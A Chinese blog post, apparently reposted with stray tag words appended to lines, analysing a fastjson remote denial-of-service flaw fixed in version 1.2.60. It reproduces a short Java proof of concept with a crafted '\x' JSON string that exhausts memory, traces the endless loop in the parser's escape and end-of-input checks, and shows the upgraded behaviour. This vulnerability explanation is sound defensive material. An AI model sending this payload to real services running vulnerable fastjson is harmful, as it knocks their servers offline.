再聊聊fastjson的一個漏洞

引言

我曾經寫過一篇文章java

fastjson遠程代碼執行漏洞問題分析程序員

文章曾經比較詳細分析了fastjson在1.2.24以及以前版本存在遠程代碼執行高危安全漏洞的問題。json

本文則是針對另外一個漏洞的介紹和分析。安全

官方對此次漏洞的說明是這樣的:服務器

近日,阿里雲應急響應中心監測到fastjson爆出遠程拒絕服務漏洞,攻擊者在請求中構造特定json字符串,可遠程形成服務器內存和CPU等資源耗盡,最終拒絕服務。官方已發佈公告說明,最新的1.2.60和帶有sec06字符的版本不受影響,請使用到的用戶儘快升級至安全版本。

漏洞的詳細說明以及重現

fastjson處理x轉義字符不當,攻擊者在請求中構造特定json字符串可致使服務器內存和CPU等資源耗盡,最終拒絕服務。阿里雲應急響應中心提醒fastjson用戶儘快採起安全措施阻止漏洞攻擊。app

官方說的很明白了,咱們根據這段說明來構造一個「死亡」字符串重現下。this

public class App {
    static final String DEATH_STRING = "{\"a\":\"\\x";

    public static void main(String[] args) {
        try {
            JSON.parse(DEATH_STRING);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

運行這段代碼,你會發現這段不足10行的代碼竟然能夠致使OOM。阿里雲

Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
    at com.alibaba.fastjson.parser.JSONLexerBase.putChar(JSONLexerBase.java:5041)
    at com.alibaba.fastjson.parser.JSONLexerBase.scanString(JSONLexerBase.java:889)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:483)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1394)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1360)
    at com.alibaba.fastjson.JSON.parse(JSON.java:165)
    at com.alibaba.fastjson.JSON.parse(JSON.java:175)
    at com.alibaba.fastjson.JSON.parse(JSON.java:144)
    at com.app.App.main(App.java:21)

咱們能夠順着這個異常信息,擼一擼源碼,看看究竟是哪裏的BUG。spa

1-1.png

1-2.png

1-3.png

如上圖所示,當解析到字符x時,由於是最後一個字符,因此x1和x2都是\u001A,也就是十進制的26。由於每次char ch = this.next();獲取的都是26這個字符,而後就在第三張圖的位置死循環了。.net

有人可能會問,

if (this.isEOF())

這個語句爲啥沒有生效,不是已經到告終尾了嗎?那咱們來看看isEOF的實現,

public boolean isEOF() {
        return this.bp == this.len || this.ch == 26 && this.bp + 1 == this.len;
    }

由於前面兩次next操做,bp+1已經不等於len了,(你能夠單步調試看看),因此isEOF方法永遠返回false

漏洞修復原理

官方已經給出瞭解決方案,那就是升級fastjson到1.2.60或以上版本。

我以爲做爲一個優秀的程序員,既然知其然,也要知其因此然。咱們來看看阿里的優秀工程師是如何修復這個漏洞的。咱們把fastjson升級到1.2.60,而後繼續debug源碼,發現代碼變成了這樣:

1-4.png

這種解決方案雖然簡單粗暴,可是也是頗有效的不是嗎,哈哈!

com.alibaba.fastjson.JSONException: invalid escape character \x
    at com.alibaba.fastjson.parser.JSONLexerBase.scanString(JSONLexerBase.java:983)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:483)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1397)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1363)
    at com.alibaba.fastjson.JSON.parse(JSON.java:170)
    at com.alibaba.fastjson.JSON.parse(JSON.java:180)
    at com.alibaba.fastjson.JSON.parse(JSON.java:149)
    at com.app.App.main(App.java:25)
相關文章
相關標籤/搜索